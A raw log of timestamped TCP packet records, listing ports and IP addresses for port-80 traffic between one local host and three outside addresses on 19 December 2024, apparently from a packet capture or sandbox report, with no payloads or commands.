Dec 19, 2024 08:09:26.528017998 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.528028011 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.528038025 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.528100967 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.528110981 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.528121948 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.528212070 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.528220892 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.528228998 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.528261900 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.528271914 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.528280020 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.528290033 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.528374910 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.528383970 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.528393984 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.534174919 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.534225941 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.645219088 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.645343065 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.645359993 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.645453930 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.645471096 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.645546913 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.645562887 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.645659924 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.645668983 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.645797968 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.645807981 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.645845890 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.645854950 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.645952940 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.645968914 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646048069 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646095037 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646174908 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646193981 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646284103 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646302938 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646357059 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646398067 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646486998 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646497011 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646558046 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646611929 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646672010 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646717072 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646800041 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646809101 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646899939 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.646917105 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647015095 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647023916 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647093058 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647103071 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647164106 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647172928 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647221088 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647231102 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647368908 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647386074 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647447109 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647456884 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647475958 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647485018 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647521973 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647562981 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647583008 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647636890 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647684097 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647721052 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.647811890 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.648405075 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.648495913 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.653716087 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.653893948 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.653903008 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.653913021 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.653923988 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654046059 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654053926 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654100895 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654182911 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654191971 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654227972 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654264927 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654326916 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654335976 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654407978 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654426098 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654516935 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654526949 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654565096 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654572964 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654658079 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654706001 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654812098 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654820919 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654920101 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654937983 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.654989004 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655042887 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655081034 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655090094 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655164957 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655174971 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655244112 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655252934 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655301094 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655309916 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655375004 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655384064 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655431032 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655471087 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655522108 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655594110 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655602932 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655615091 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655713081 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655721903 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655797005 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655807018 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655893087 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.655903101 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.656007051 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.656016111 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.656061888 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.656115055 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.678879976 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:26.768039942 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768049955 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768134117 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768141985 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768188953 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768222094 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768264055 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768271923 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768349886 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768366098 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768421888 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768430948 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768496990 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768569946 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768579006 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768670082 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768677950 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768686056 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768693924 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768829107 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768846035 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768855095 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768862963 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768872023 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768882990 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768891096 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768902063 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768989086 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.768997908 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769006968 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769016027 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769072056 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769081116 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769097090 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769107103 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769196033 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769203901 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769265890 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769289017 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769339085 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769347906 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769397974 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769442081 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769490957 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769499063 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769562960 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769572020 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769606113 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769664049 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769673109 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769808054 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769817114 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769824982 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.769841909 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.798413992 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.798491955 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.798508883 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.798567057 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.798576117 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.798659086 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.798667908 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.798718929 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.798727989 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.798768997 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.798823118 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.798902988 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.798912048 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.798955917 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.799005985 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.799060106 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.799068928 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.799139977 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.799148083 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.799273968 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.799289942 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.799386978 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.799396038 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.799462080 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.799504995 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.799551964 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.799561024 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.799595118 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:26.991866112 CET	49835	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:26.992197990 CET	49854	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:27.111582994 CET	80	49835	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:27.111610889 CET	80	49854	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:27.111702919 CET	49854	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:27.111752033 CET	49835	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:27.126450062 CET	49854	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:27.250008106 CET	80	49854	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:28.447547913 CET	80	49854	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:28.447643042 CET	49854	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:28.448765993 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:28.449067116 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:28.568670988 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:28.568727970 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:28.568768024 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:28.568810940 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:28.569168091 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:28.688731909 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:28.787986040 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:28.788028955 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:28.788094997 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:28.788399935 CET	49849	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:28.907892942 CET	80	49849	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:29.301731110 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:29.421422005 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:29.421540976 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:29.422750950 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:29.542202950 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:29.893445969 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:29.893459082 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:29.893470049 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:29.893541098 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:29.893578053 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:29.893583059 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:29.893763065 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:29.893774986 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:29.893810987 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:29.893827915 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:29.893837929 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:29.893838882 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:29.893851995 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:29.893862963 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:29.893870115 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:29.893893957 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:29.893920898 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.013094902 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.013133049 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.013207912 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.017314911 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.017390013 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.017462015 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.085792065 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.085870981 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.085869074 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.085916996 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.089953899 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.090004921 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.090050936 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.090095997 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.096410990 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.096471071 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.096503973 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.096550941 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.104973078 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.105020046 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.105052948 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.105094910 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.113194942 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.113296986 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.113353014 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.121556997 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.121675968 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.121685982 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.121737003 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.134006023 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.134057045 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.134140968 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.134193897 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.142570019 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.142582893 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.142632008 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.150913000 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.150926113 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.150988102 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.159116983 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.159128904 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.159185886 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.162312984 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.162374020 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.162405014 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.162450075 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.169553995 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.169605017 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.169656992 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.169699907 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.206042051 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.206096888 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.277686119 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.277728081 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.277736902 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.277771950 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.279088020 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.279151917 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.279186010 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.279236078 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.283948898 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.284014940 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.284061909 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.284110069 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.288749933 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.288805962 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.288880110 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.288927078 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.293759108 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.293888092 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.293935061 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.298181057 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.298233032 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.298294067 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.298413038 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.302808046 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.302859068 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.302887917 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.302934885 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.307288885 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.307343960 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.307379007 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.307437897 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.311664104 CET	80	49858	31.41.244.11	192.168.2.6
